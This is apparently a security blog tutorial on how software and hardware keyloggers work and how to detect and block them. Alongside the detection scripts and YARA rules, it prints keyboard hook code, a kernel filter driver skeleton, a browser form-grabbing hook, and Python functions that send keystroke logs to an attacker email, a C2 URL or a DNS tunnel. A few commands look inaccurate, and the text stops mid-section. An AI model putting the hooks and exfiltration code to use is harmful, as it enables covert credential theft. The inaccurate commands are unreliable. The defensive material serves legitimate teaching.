Skip to content
← pwnsy/blog
beginner22 min readMar 5, 2026Updated Mar 11, 2026

Keyloggers: How They Work and How to Detect Them

malware#keylogger#malware#spyware#detection#endpoint-security

Key Takeaways

  • The most important fact about hardware keyloggers: no software-based detection tool can find them.
  • Software keyloggers operate at different privilege levels, and the level determines both capability and detectability.
  • Capturing keystrokes without exfiltrating them is pointless.
  • Autoruns is the most comprehensive tool for finding persistence mechanisms on Windows.
  • tccutil list 2>/dev/null | grep "kTCCServiceListenEvent".

In 2019, Pakistani authorities arrested a former government official after forensic analysis of his laptop revealed a keylogger installed by a foreign intelligence service. The device had been left unattended during a transit checkpoint. Every password, every email draft, every sensitive communication typed on that keyboard for an unknown period had been transmitted to an unknown destination.

In 2022, a law firm in the UK discovered that a former employee had installed a keylogger on the firm's network file server before resigning. Six months of confidential client communications and partner credentials had been silently logged. The full scope of the breach required external forensic investigation to determine.

Keyloggers are among the oldest and most effective forms of malware precisely because they operate beneath the application layer. Encryption, secure communications channels, and strong passwords are all bypassed when the keylogger captures input before the application receives it. What the user types is what the keylogger records — credentials, messages, search queries, banking PINs, anything that passes through the keyboard.

This guide covers the technical mechanisms of software and hardware keyloggers, detection methods that work against each, and preventive controls that limit exposure.

Software vs. Hardware Keyloggers: The Fundamental Distinction

The most important fact about hardware keyloggers: no software-based detection tool can find them. A hardware device installed between the keyboard and computer is invisible to the operating system. Task Manager, antivirus, EDR, network analysis — all of these operate at or above the OS level. A hardware logger sits below.

Software keyloggers, by contrast, are detectable because they run within the OS environment and must interact with OS APIs or kernel interfaces to capture input. The detection methods differ entirely.

Hardware Keylogger Types

PS/2 and USB inline loggers:

The simplest hardware keylogger is a small device that plugs into the keyboard port; the keyboard then plugs into the device. Available commercially for $15-100 (marketed for "parental monitoring" and "employee monitoring"). The operating system sees only a normal keyboard — the logger is transparent.

Storage: These devices store keystroke logs internally (16MB-2GB flash storage). Retrieval requires physical access to download the logs, or in wireless variants, logs are transmitted via Bluetooth or proprietary RF to a nearby receiver.

USB variants also capture USB traffic metadata — useful for detecting removable media insertion.

Acoustic keyloggers:

Different keys produce subtly different acoustic signatures — the click sound, the keyboard flex, the subtle variations in mechanical resonance. Cambridge researchers demonstrated in 2005 that keystrokes could be recovered from audio recordings with 96% accuracy per character. A more accessible 2011 study from UC Berkeley demonstrated similar results from smartphone accelerometer data placed near a keyboard.

This is primarily a research and intelligence community technique. Practical deployment requires controlled conditions, significant processing, and post-collection analysis.

EM (electromagnetic) keyloggers:

Keyboards emit electromagnetic radiation as keypresses travel through the cable. Gendrullis et al. demonstrated at CCC 2008 that wired PS/2 keyboards could be eavesdropped from distances up to 20 meters using $500 of off-the-shelf equipment. Wireless keyboards operating on 27MHz RF (older Logitech/Microsoft models) transmit keystrokes unencrypted and are trivially interceptable.

Modern Bluetooth keyboards use encrypted communications (Bluetooth Low Energy with pairing-time key exchange), which defeats passive EM eavesdropping — but not all wireless keyboards use Bluetooth.

Firmware-embedded keyloggers:

A modified keyboard firmware that logs internally, exfiltrating data via standard USB HID commands. Detection from within the OS is impossible — it appears as a normal keyboard to any OS-level tool. Detection requires firmware binary analysis or comparison with known-good firmware from the manufacturer.

Nation-state implants have demonstrated keyboard firmware modification as a technique. For most threat models, this is below practical concern — but for high-security environments (government, defense, critical infrastructure), replacing keyboards periodically and verifying firmware integrity is standard practice.

Physical detection of hardware keyloggers:

Inspection checklist for hardware keylogger detection:

□ Power down the workstation before inspection (reduces risk of data wiping trigger)

□ Trace the keyboard cable from keyboard to port on the computer
  Any device inline (between keyboard and computer) is suspect
  Exception: USB hubs, KVM switches — but these should be accounted for

□ Examine both ends of the keyboard cable
  Hardware keyloggers typically add ~1-2 inches to the cable routing
  Some are very small (fingernail-sized); look at each end of the cable carefully

□ Check USB ports on the computer itself
  Some loggers plug into a USB port directly with the keyboard cable extending from them
  Legitimate devices: USB hub, headset, webcam — document what should be there

□ For desktop cases: inspect internal USB header connections
  A device connected to an internal USB header is harder to spot than an external connection
  Compare to baseline photos of the internal layout

□ For high-security environments:
  - Photograph all peripheral connections monthly and compare
  - Seal chassis screws with tamper-evident epoxy or void stickers
  - Use port blockers on unused USB ports
  - Use keyboards with chassis lock that prevents disassembly

Software Keylogger Architecture

Software keyloggers operate at different privilege levels, and the level determines both capability and detectability.

API-Level Keyloggers (User Mode)

Windows exposes legitimate APIs for global input monitoring, intended for accessibility software, input method editors, and screen readers:

// SetWindowsHookEx — installs a global keyboard hook
// WH_KEYBOARD_LL: low-level keyboard hook, monitors all keystrokes
 
HHOOK hHook = SetWindowsHookEx(
    WH_KEYBOARD_LL,           // Hook type: low-level keyboard
    KeyboardProc,             // Callback function
    NULL,                     // Module handle (NULL for all processes)
    0                         // Thread ID (0 = all threads)
);
 
// The callback receives every keypress in every application
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT*)lParam;
        // pkbhs->vkCode contains the virtual key code
        // Log to file, transmit to C2, etc.
        LogKeystroke(pkbhs->vkCode, pkbhs->time);
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}
// GetAsyncKeyState — polling approach (less sophisticated)
// Checks current state of each key
 
while (running) {
    for (int key = 8; key <= 190; key++) {
        if (GetAsyncKeyState(key) & 1) {  // Key was pressed since last call
            LogKeypress(key);
        }
    }
    Sleep(10);  // Poll every 10ms
}

Characteristics of API-level keyloggers:

  • Run in user space (no admin/root required)
  • Appear as normal processes in Task Manager
  • Show up in Autoruns if they establish persistence
  • The keyboard hook (WH_KEYBOARD_LL) appears in the hook chain, enumerable
  • Most commercial spyware and low-sophistication RATs use this approach

Detection: API-level keyloggers are the easiest to detect because they leave multiple artifacts at the process, registry, and hook levels. Sysinternals Autoruns and Process Explorer catch most of them.

Kernel-Level Keyloggers (Ring 0)

Kernel-level keyloggers operate as drivers, intercepting keystrokes at the Windows keyboard driver stack or Linux input subsystem before the OS processes them:

// Windows kernel driver (simplified conceptual representation)
// KMDF filter driver for keyboard class driver
 
NTSTATUS AddDevice(PDRIVER_OBJECT driverObject, PDEVICE_OBJECT physicalDeviceObject) {
    // Create filter device above keyboard class driver
    IoCreateDevice(driverObject, 0, NULL,
        FILE_DEVICE_KEYBOARD, 0, FALSE, &filterDevice);
 
    // Attach to keyboard device stack
    IoAttachDeviceToDeviceStack(filterDevice, physicalDeviceObject);
    // Now all keyboard IRPs pass through our filter driver first
}
 
// IRP_MJ_READ handler — keyboard read requests
NTSTATUS KeyboardRead(PDEVICE_OBJECT deviceObject, PIRP irp) {
    // Set completion routine: called when keyboard driver completes the read
    IoSetCompletionRoutine(irp, KeyboardReadCompletion, NULL, TRUE, FALSE, FALSE);
    return IoCallDriver(lowerDevice, irp);  // Pass IRP to keyboard driver
}
 
// Called when keyboard driver returns data
NTSTATUS KeyboardReadCompletion(PDEVICE_OBJECT deviceObject, PIRP irp, PVOID context) {
    PKEYBOARD_INPUT_DATA keyData = (PKEYBOARD_INPUT_DATA)irp->AssociatedIrp.SystemBuffer;
    // keyData contains the keystrokes — log them before returning to OS
    LogKeystrokes(keyData, irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA));
    return STATUS_SUCCESS;
}

Characteristics of kernel-level keyloggers:

  • Require administrator/SYSTEM privileges to install
  • Can be hidden from user-space tools via DKOM (Direct Kernel Object Manipulation)
  • Capture all input including from processes that try to protect against user-space hooks
  • Survive process-level detection (no user-space process to find)
  • Modern protections (Driver Signature Enforcement, Secure Boot, HVCI) raise the installation bar
  • Still installed via stolen/purchased code signing certificates or after privilege escalation

Detection: Kernel-level keyloggers require driver-level analysis. Autoruns (which enumerates kernel drivers) and comparing loaded driver lists against known baselines are the primary detection paths.

Form-Grabbing Keyloggers

Form grabbers are specialized for credential theft from web browsers. Instead of capturing raw keystrokes, they hook browser functions to intercept form submission data before encryption:

// Zeus/SpyEye form-grabbing approach (documented in malware analysis reports)
// Hook browser SSL/TLS send function to capture POST data before encryption
 
// For Firefox (32-bit), hook PR_Write in nss3.dll:
void* original_PR_Write = GetProcAddress(GetModuleHandle("nss3.dll"), "PR_Write");
// Inline hook: redirect PR_Write to our function, capture data, call original
 
// Our hook captures:
// - The exact URL being submitted to
// - The POST body (containing username=X&password=Y)
// This works even with autofill — no keystrokes required
// This works with HTTPS — we intercept before the SSL layer

Why form grabbers are particularly dangerous:

  • Capture credentials even when using password manager autofill (no keystrokes to log)
  • Associate captured credentials with the target URL (higher intelligence value)
  • Operate inside the browser process — harder to detect from outside
  • Can inject content into loaded pages (man-in-the-browser attacks)
  • Zeus and its derivatives stole hundreds of millions of dollars from banking customers 2007-2013

Detection: Form grabbers inject DLLs into browser processes. Process Explorer shows all DLLs loaded by each browser process — any unrecognized DLL in Chrome, Firefox, or Edge's process is suspicious.

Hypervisor-Based Keyloggers

Theoretical and rarely seen outside nation-state toolkits. A malicious hypervisor installs itself below the existing OS, which becomes a guest VM unaware it is virtualized. Input interception at the hypervisor layer is invisible to all OS-level tools.

Detection requires out-of-band analysis, hardware attestation (TPM-based), or timing analysis to detect the hypervisor's overhead. Not practically relevant for most threat models — included here for completeness and because Blue Pill / SubVirt research demonstrated feasibility in 2006-2007.

Exfiltration Methods

Capturing keystrokes without exfiltrating them is pointless. Understanding how logs leave the system informs network-level detection.

Exfiltration Channel Taxonomy

# Email exfiltration (common in commodity keyloggers)
# Look for outbound SMTP from non-mail processes
 
import smtplib
from email.mime.text import MIMEText
 
def exfil_via_email(log_contents, attacker_email, smtp_server, credentials):
    msg = MIMEText(log_contents)
    msg['Subject'] = f'Log_{datetime.now()}'
    msg['From'] = credentials['user']
    msg['To'] = attacker_email
 
    with smtplib.SMTP_SSL(smtp_server, 465) as server:
        server.login(credentials['user'], credentials['password'])
        server.send_message(msg)
 
# Detection: Outbound port 587/465/25 from processes that have no reason to send email
# Process names to flag: svchost32.exe, update.exe, anything in AppData or Temp
# HTTP/HTTPS C2 exfiltration (more sophisticated)
# Beacon to C2 server, upload log contents embedded in HTTP POST
 
import requests
import base64
 
def beacon_to_c2(log_data, c2_url):
    # Encode to avoid content filtering
    encoded = base64.b64encode(log_data.encode()).decode()
 
    # POST to C2 — blends in as legitimate HTTPS traffic
    requests.post(c2_url, data={'data': encoded},
                  headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'})
 
# Detection: Regular outbound HTTPS from unusual processes
# Beacon interval timing (periodic connections at fixed intervals)
# New/unusual domains in DNS logs
# DNS tunneling (advanced, hard to detect)
# Encode log data in DNS query labels
 
import dns.resolver
 
def dns_exfil(log_chunk, c2_domain):
    # Encode data as hex, split into 63-char labels
    encoded = log_chunk.hex()
    labels = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
    subdomain = '.'.join(labels) + '.' + c2_domain
 
    # DNS query for a nonexistent domain — C2 server logs the query
    try:
        dns.resolver.resolve(subdomain, 'A')
    except:
        pass  # Expected to fail; the query itself is the channel
 
# Detection: High-entropy subdomain queries, long DNS query strings
# Tools: Zeek DNS log analysis, Darktrace, Cisco Umbrella anomaly detection

Windows Detection Methods

Sysinternals Autoruns — Primary Detection Tool

Autoruns is the most comprehensive tool for finding persistence mechanisms on Windows. For keylogger detection, it enumerates all autostart locations and identifies running kernel drivers.

Download: https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

Run as Administrator (required for driver enumeration)

Configuration for detection:
1. Options → Scan Options → Check VirusTotal.com
   (Submits hashes automatically; red/yellow entries are suspicious)

2. View → Hide Microsoft Entries
   (Reduces noise; focus on third-party entries)

3. View → Show Only Unsigned Entries (optional, reduces noise further)

Key tabs to review for keyloggers:

"Everything" tab: All persistence mechanisms
  - Look for: entries in %TEMP%, %APPDATA%, C:\Users\<user>\ paths
  - Look for: entries with no description or company name
  - Look for: VirusTotal detection count > 0

"Drivers" tab: Kernel-mode drivers
  - Kernel keyloggers appear here
  - Any unsigned driver or driver from an unusual path is suspicious
  - Check: Path, Publisher, Description fields

"Scheduled Tasks" tab:
  - Keyloggers may schedule themselves for persistence or timed exfiltration
  - Look for tasks running from unusual paths

"Browser Extensions" tab:
  - Form-grabbing keyloggers may appear as browser extensions
  - Look for extensions with no description or unusual publisher

Export for analysis:
File → Save → autoruns_[date].arn
# Compare across time to find newly added entries

PowerShell Detection Commands

# Enumerate all running processes with their paths
Get-Process | Select-Object Id, ProcessName, Path, Company, Description |
  Sort-Object Path | Format-Table -AutoSize
 
# Find processes running from suspicious locations
Get-Process | Where-Object {
    $_.Path -match "(%TEMP%|Temp\\|AppData\\Local\\Temp|AppData\\Roaming\\)" -or
    $_.Path -match "(AppData\\Roaming\\[^\\]+\\[^\\]+\.exe)" -or
    ($_.Path -notmatch "^C:\\Windows" -and $_.Path -notmatch "^C:\\Program Files")
} | Select-Object ProcessName, Id, Path
 
# Check for global keyboard hooks (WH_KEYBOARD_LL = 13)
# Using Get-WmiObject to list processes with unusual characteristics
Get-WmiObject Win32_Process |
  Where-Object {$_.CommandLine -ne $null} |
  Select-Object Name, ProcessId, CommandLine |
  Where-Object {$_.CommandLine -match "(keyboard|keylog|hook|logger)"} |
  Format-Table -AutoSize
 
# List loaded drivers (kernel-level keyloggers appear here)
Get-WmiObject Win32_SystemDriver |
  Where-Object {$_.State -eq "Running"} |
  Select-Object Name, PathName, State, StartMode |
  Where-Object {
    $_.PathName -notmatch "^C:\\Windows\\System32\\drivers" -and
    $_.PathName -notmatch "^C:\\Windows\\SysWOW64"
  } | Format-Table -AutoSize
 
# Check scheduled tasks for suspicious entries
Get-ScheduledTask |
  Where-Object {$_.State -ne "Disabled"} |
  ForEach-Object {
    $action = $_.Actions | Where-Object {$_.Execute -ne $null}
    [PSCustomObject]@{
      Name = $_.TaskName
      Path = $_.TaskPath
      Execute = $action.Execute
      Arguments = $action.Arguments
    }
  } |
  Where-Object {
    $_.Execute -match "(AppData|Temp|ProgramData)" -or
    $_.Execute -notmatch "^C:\\Windows"
  } | Format-Table -AutoSize
 
# Check startup registry keys
$startup_keys = @(
  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
  "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
  "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\SYSTEM\CurrentControlSet\Services"
)
 
foreach ($key in $startup_keys) {
  if (Test-Path $key) {
    Get-ItemProperty $key 2>/dev/null |
      Select-Object * -ExcludeProperty PS* |
      Format-Table -AutoSize
  }
}
 
# Detect WH_KEYBOARD hooks installed by processes
# (Requires optional Windows SDK component or third-party tool)
# Simpler approach: use WinSpy++ or Process Hacker

Process Explorer for DLL Injection Detection

# Verify DLLs loaded by browser processes (detect form grabbers)
$browser_processes = @("chrome", "firefox", "msedge", "brave", "opera")
 
foreach ($browser in $browser_processes) {
  $procs = Get-Process -Name $browser -ErrorAction SilentlyContinue
  foreach ($proc in $procs) {
    Write-Host "--- $browser (PID: $($proc.Id)) ---"
    $proc.Modules |
      Where-Object {
        # Flag DLLs outside standard Windows/browser paths
        $_.FileName -notmatch "^C:\\Windows" -and
        $_.FileName -notmatch "^C:\\Program Files" -and
        $_.FileName -notmatch $proc.Path.Substring(0, $proc.Path.LastIndexOf('\'))
      } |
      Select-Object FileName, FileVersion |
      Format-Table -AutoSize
  }
}

Network Traffic Analysis for Exfiltration Detection

# TCPView / Get-NetTCPConnection — identify unusual outbound connections
 
# All established connections with process names
Get-NetTCPConnection -State Established |
  ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
      LocalAddress = $_.LocalAddress
      LocalPort = $_.LocalPort
      RemoteAddress = $_.RemoteAddress
      RemotePort = $_.RemotePort
      State = $_.State
      ProcessName = $proc.Name
      ProcessPath = $proc.Path
      PID = $_.OwningProcess
    }
  } |
  # Flag connections from processes in unusual locations
  Where-Object {
    $_.ProcessPath -match "(AppData|Temp|ProgramData)" -or
    $_.RemotePort -in @(25, 465, 587)  # SMTP from non-mail applications
  } |
  Format-Table -AutoSize
 
# Monitor for new connections in real time
while ($true) {
  $connections = Get-NetTCPConnection -State Established
  foreach ($conn in $connections) {
    $proc = Get-Process -Id $conn.OwningProcess -ErrorAction SilentlyContinue
    Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $($proc.Name)$($conn.RemoteAddress):$($conn.RemotePort)"
  }
  Start-Sleep -Seconds 5
}

Process Monitor for File I/O Analysis

Sysinternals Process Monitor captures real-time file system, registry, and process/thread activity. For keylogger detection, monitor for log file creation and periodic writes:

Process Monitor configuration for keylogger detection:

Download: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Filter setup:
  Add filter: Operation = WriteFile → Include
  Add filter: Path contains .log → Include
  Add filter: Path contains keylog → Include
  Add filter: Path contains AppData → Include
  Add filter: Category = Write → Include

Run for 5-10 minutes and watch for:
- Processes writing to files at consistent intervals (e.g., every 60 seconds)
  → Interval flushing of keystroke buffer to disk
- Processes writing to %APPDATA%\[random_name]\ folders
- Small periodic writes (100-500 bytes) from a single process
  → Keystroke log being flushed

Process Monitor filter shortcut:
Ctrl+L → Add filter
Ctrl+X → Toggle capturing
Ctrl+H → Highlight specific pattern

Export results:
File → Save → CSV file for offline analysis

Windows Event Log Analysis

# Check for new service installations (kernel keyloggers install as services)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} |
  Select-Object TimeCreated, Message |
  ForEach-Object {
    if ($_.Message -match "Service Name:\s*(.+)") {
      $serviceName = $Matches[1]
      $serviceFile = if ($_.Message -match "Service File Name:\s*(.+)") {$Matches[1]} else {"Unknown"}
      Write-Host "New service: $serviceName$serviceFile at $($_.TimeCreated)"
    }
  }
 
# Check for driver loading events
Get-WinEvent -FilterHashtable @{LogName='System'; Id=6} |
  Select-Object TimeCreated, Message |
  Format-Table -AutoSize
 
# Process creation with Sysmon (Event ID 1) — requires Sysmon installed
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
  ForEach-Object {
    $xml = [xml]$_.ToXml()
    $image = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "Image"} | Select-Object -ExpandProperty '#text'
    $cmdline = $xml.Event.EventData.Data | Where-Object {$_.Name -eq "CommandLine"} | Select-Object -ExpandProperty '#text'
    [PSCustomObject]@{
      Time = $_.TimeCreated
      Image = $image
      CommandLine = $cmdline
    }
  } |
  Where-Object {$_.Image -match "(Temp|AppData|ProgramData)"} |
  Format-Table -AutoSize

Linux Detection Methods

# Check for keyboard input device access — legitimate processes are limited
sudo lsof /dev/input/event*
 
# Expected processes with input device access:
# - X11 or Wayland display server
# - libinput
# - xorg-server
# - accessibility daemons
 
# Any unexpected process accessing /dev/input/event* is suspicious
 
# Find all processes that have opened input devices
sudo fuser /dev/input/event*
 
# More detailed: check what files each process has open
for proc in $(ls /proc | grep -E '^[0-9]+$'); do
  if ls /proc/$proc/fd 2>/dev/null | xargs -I{} readlink /proc/$proc/fd/{} 2>/dev/null |
     grep -q "/dev/input"; then
    echo "PID $proc ($(cat /proc/$proc/comm 2>/dev/null)) has input device open"
  fi
done
# Check loaded kernel modules for unknown entries
lsmod | grep -v -f /var/lib/known_modules.txt 2>/dev/null || lsmod
# Build baseline: lsmod > /var/lib/known_modules.txt
 
# Check module signatures
for mod in $(lsmod | awk 'NR>1 {print $1}'); do
  sig=$(modinfo $mod 2>/dev/null | grep "^signer:")
  taint=$(modinfo $mod 2>/dev/null | grep "taint:")
  if [ -n "$taint" ]; then
    echo "TAINTED MODULE: $mod | $taint | $sig"
  fi
done
 
# Check for unsigned/out-of-tree modules
modinfo $(lsmod | awk 'NR>1 {print $1}') 2>/dev/null | grep -E "^(name|filename|signer|sig_key):"
 
# Recent module loads
dmesg | grep -i "module\|driver\|keyboard" | tail -50
 
# Kernel integrity check (if IMA enabled)
cat /sys/kernel/security/ima/policy 2>/dev/null
# Process inspection
# All processes with their command lines
ps aux --forest
 
# Processes accessing network connections
ss -tulnp
 
# New processes since last check (save baseline first)
ps aux | awk '{print $11}' | sort > /tmp/current_procs.txt
diff /tmp/baseline_procs.txt /tmp/current_procs.txt 2>/dev/null
 
# Monitor new connections in real time
watch -n 2 'ss -tnp | grep ESTABLISHED'
 
# Check all established connections with process info
ss -tnp state established
 
# Find processes making outbound SMTP connections (port 25/465/587)
ss -tnp | grep -E ':25|:465|:587'
# Check cron jobs (exfiltration scheduling)
crontab -l 2>/dev/null
sudo crontab -l 2>/dev/null
 
# All user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
  crontab_content=$(crontab -u "$user" -l 2>/dev/null)
  if [ -n "$crontab_content" ]; then
    echo "=== Crontab for $user ==="
    echo "$crontab_content"
  fi
done
 
# System cron
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
cat /etc/crontab
 
# Systemd timers (modern replacement for cron)
systemctl list-timers --all
 
# Recently modified files (potential keylogger installation artifacts)
find /etc /usr/bin /usr/sbin /bin /sbin /lib /lib64 \
  -newer /tmp -type f -ls 2>/dev/null |
  sort -k8 | tail -50  # Most recently modified
 
# Look for hidden files in home directories and common locations
find /home /tmp /var/tmp /dev/shm \
  -name ".*" -type f -ls 2>/dev/null
# Network traffic analysis for exfiltration
# Capture traffic and analyze for keystroke log patterns
tcpdump -i any -w /tmp/capture.pcap -c 10000 &
TCPDUMP_PID=$!
sleep 60
kill $TCPDUMP_PID
 
# Analyze with tshark
tshark -r /tmp/capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.len |
  sort | uniq -c | sort -rn | head -30
# Look for: regular small packets to unusual destinations
# Regular beaconing pattern (same destination, consistent interval)
 
# DNS tunneling detection
tcpdump -r /tmp/capture.pcap -n udp port 53 2>/dev/null | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -20
# Look for: high-entropy subdomain labels, unusually long query strings

macOS Detection Methods

# macOS — check for keyboard event access
# Privacy settings control which apps can monitor keyboard
# System Preferences → Security & Privacy → Privacy → Input Monitoring
# List apps with input monitoring access:
tccutil list 2>/dev/null | grep "kTCCServiceListenEvent"
 
# Process monitoring
ps aux | grep -v grep | grep -i -E "key|log|monitor|spy|hook"
 
# Launch agents and daemons (persistence locations)
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/
sudo ls -la /System/Library/LaunchDaemons/
 
# Check launch agent contents for suspicious programs
for plist in ~/Library/LaunchAgents/*.plist; do
  echo "=== $plist ==="
  /usr/libexec/PlistBuddy -c "Print :ProgramArguments" "$plist" 2>/dev/null
done
 
# Kernel extensions (older macOS keyloggers used kexts)
kextstat | grep -v apple
# Any non-Apple kext is worth investigating
 
# Network connections with process info
sudo lsof -i -n -P | grep ESTABLISHED
 
# Recent application installs
ls -lt /Applications/ | head -20
ls -lt ~/Applications/ | head -20
 
# Check for suspicious Login Items
# System Preferences → Users & Groups → Login Items (macOS 12 and earlier)
# System Preferences → General → Login Items (macOS 13+)
# Or via command line:
osascript -e 'tell application "System Events" to get the name of every login item'

YARA Rules for Keylogger Detection

rule Win_Keylogger_SetWindowsHook {
    meta:
        description = "Detects SetWindowsHookEx-based keyboard hooks"
        author = "Security Team"
        severity = "medium"
 
    strings:
        $hook_func = "SetWindowsHookEx" ascii
        $unhook = "UnhookWindowsHookEx" ascii
        $keyboard_ll = {13 00 00 00}  // WH_KEYBOARD_LL = 13
        $callnext = "CallNextHookEx" ascii
        $get_msg = "GetMessage" ascii wide
 
    condition:
        $hook_func and $unhook and $callnext and
        ($keyboard_ll or $get_msg) and
        filesize < 2MB
}
 
rule Win_Keylogger_GetAsyncKeyState {
    meta:
        description = "Detects polling-based keylogger using GetAsyncKeyState"
        severity = "medium"
 
    strings:
        $api = "GetAsyncKeyState" ascii
        $loop_pattern_1 = { 6A 5A E8 }  // push 0x5A (Z key) + call
        $loop_pattern_2 = { 6A 01 E8 }  // push 1 + call
        $log_write = { FF 15 }  // indirect call (WriteFile)
 
    condition:
        $api and ($loop_pattern_1 or $loop_pattern_2) and filesize < 1MB
}
 
rule Win_FormGrabber_BrowserHook {
    meta:
        description = "Detects browser form grabber patterns"
        severity = "high"
 
    strings:
        $nss = "nss3.dll" ascii wide nocase
        $pr_write = "PR_Write" ascii
        $ssl_write = "SSL_Write" ascii
        $cf_write = "CF_Write" ascii  // Chromium
        $hooking = { 8B 0D ?? ?? ?? ?? FF 15 }  // Common inline hook pattern
 
    condition:
        ($nss or $pr_write or $ssl_write or $cf_write) and
        $hooking and
        pe.imports("kernel32.dll", "VirtualProtect") and  // Memory permission changes = hooking
        filesize < 5MB
}
 
rule Generic_Keylogger_EmailExfil {
    meta:
        description = "Detects keylogger with email exfiltration capability"
        severity = "high"
 
    strings:
        $smtp = "smtp" ascii wide nocase
        $mail_to = "mail_to" ascii nocase
        $sendmail = "SendMail" ascii wide nocase
        $keylog_string = "keylog" ascii nocase
        $hook_string = "SetWindowsHookEx" ascii
        $getstate = "GetAsyncKeyState" ascii
 
    condition:
        ($smtp or $mail_to or $sendmail) and
        ($hook_string or $getstate) and
        filesize < 5MB
}
# Run YARA scans
# Install: apt install yara or brew install yara
 
# Scan running processes
yara -p 4 keylogger_rules.yar /proc/*/exe 2>/dev/null  # Linux
yara -p 4 keylogger_rules.yar C:\Windows\System32\ 2>$null  # Windows via WSL or native
 
# Scan common malware locations
yara keylogger_rules.yar %APPDATA% /s 2>$null
yara keylogger_rules.yar %TEMP% /s 2>$null
yara keylogger_rules.yar %ProgramData% /s 2>$null
 
# Scan memory of all running processes (Windows, requires elevated)
yara -p 4 keylogger_rules.yar [PID]

Investigation Priority Order

When you suspect a keylogger, work through these checks in order:

Step 1: Physical inspection (hardware keylogger elimination)
□ Trace keyboard cable from keyboard to computer
□ Examine both ends
□ No inline device? Proceed to software analysis

Step 2: Autoruns (Windows) — persistence before processes
□ Run as Administrator
□ Enable VirusTotal check
□ Hide Microsoft entries
□ Review Drivers, Scheduled Tasks, Services, Everything tabs
□ Flag: unsigned entries, entries in temp/AppData paths, VirusTotal detections > 0

Step 3: Process analysis
□ Process Explorer: look for process tree anomalies, suspicious paths, VirusTotal scan
□ Check DLLs loaded by browser processes (form grabbers)
□ Check for LSASS or keyboard driver access by unusual processes

Step 4: Network analysis
□ TCPView / ss -tnp: all established connections with process
□ Flag: SMTP from non-mail processes, regular beaconing, unusual destinations
□ DNS analysis: high-entropy queries, unusual subdomain patterns

Step 5: File I/O (Process Monitor)
□ Filter for WriteFile operations
□ Look for periodic small writes from single process at consistent intervals
□ Check %APPDATA%, %TEMP%, %ProgramData% for log files

Step 6: AV/EDR offline scan
□ Boot from clean external media or use offline scanner
□ Scan from outside the potentially compromised OS
□ Kernel-level rootkits may evade in-OS scans

Step 7: Memory analysis (if infection confirmed)
□ WinPmem / LiME memory capture
□ Volatility: malfind (injected code), dlllist (loaded modules), netscan (network state)

Prevention

OS-level controls:

# Windows: Enable Driver Signature Enforcement
# (Prevents unsigned kernel drivers — blocks most commodity rootkits)
# Verify status:
bcdedit /enum | findstr nointegritychecks  # Should not appear
# Enable if disabled:
bcdedit /set nointegritychecks off
bcdedit /set testsigning off
 
# Enable Secure Boot (via BIOS/UEFI — verify in OS)
Confirm-SecureBootUEFI  # Returns True if enabled
 
# Enable Credential Guard (protects LSASS, also disrupts some rootkit techniques)
# Requires: Windows 10 Enterprise/Education, Hyper-V, IOMMU
# Enable via Group Policy: Computer Configuration → Administrative Templates →
# System → Device Guard → Turn On Virtualization Based Security
 
# Standard user account for daily work (prevents kernel driver installation)
# Admin account for admin tasks only — UAC prompt for driver installation
# breaks most commodity keylogger installation paths
# Linux: Enable kernel lockdown mode (blocks unsigned module loading)
# Requires UEFI Secure Boot
 
# Check current lockdown level:
cat /sys/kernel/security/lockdown
 
# Enable at boot (Grub configuration):
# Add to GRUB_CMDLINE_LINUX_DEFAULT: lockdown=confidentiality
# Update grub: sudo update-grub
 
# LSM (Linux Security Module) controls:
# AppArmor / SELinux / Seccomp profiles for sensitive processes
# Restrict /dev/input access to specific processes via AppArmor profile
 
# Audit input device access:
auditctl -w /dev/input/ -p rw -k input_device_access
# Log any access to /dev/input/*

Authentication hardening:

Hardware security keys (FIDO2/WebAuthn) provide the strongest defense against keylogger impact on authentication. When you authenticate with a hardware key, the private key never leaves the device — it signs a server challenge using the secure element. A keylogger capturing your PIN (used to unlock the key locally) cannot reproduce the cryptographic assertion without the physical device. Even a session captured after successful authentication is not reusable on other devices.

Authentication hierarchy vs. keylogger risk:
Password only → Keylogger fully bypasses; credential captured directly
Password + SMS OTP → Keylogger captures both in real time if MFA relay is used
Password + TOTP → Keylogger captures both; TOTP has 30s window for relay
Password + FIDO2 hardware key → PIN captured, but cryptographic assertion
                                  requires physical device; replay not possible
Passkey → Device-bound private key; PIN captured is insufficient without hardware

Password manager usage:

Password managers autofill credentials without typing them, which defeats API-level keyloggers that monitor keystrokes. The manager's autofill injects credentials directly into form fields without keyboard input events.

Form-grabbing keyloggers still intercept the POST submission — but they require the more sophisticated browser hook approach, and they are detectable via DLL inspection.

Network egress filtering:

Firewall rules to block keylogger exfiltration channels:

Block outbound SMTP from endpoints (port 25/465/587):
  Only authorized mail servers should send SMTP
  An endpoint workstation has no legitimate reason to send SMTP directly

Monitor for DNS anomalies:
  Block or alert on queries for newly registered domains (< 30 days)
  Block or alert on queries with unusual label entropy
  Implement DNS RPZ (Response Policy Zone) with threat feed

Rate-limit DNS from endpoints:
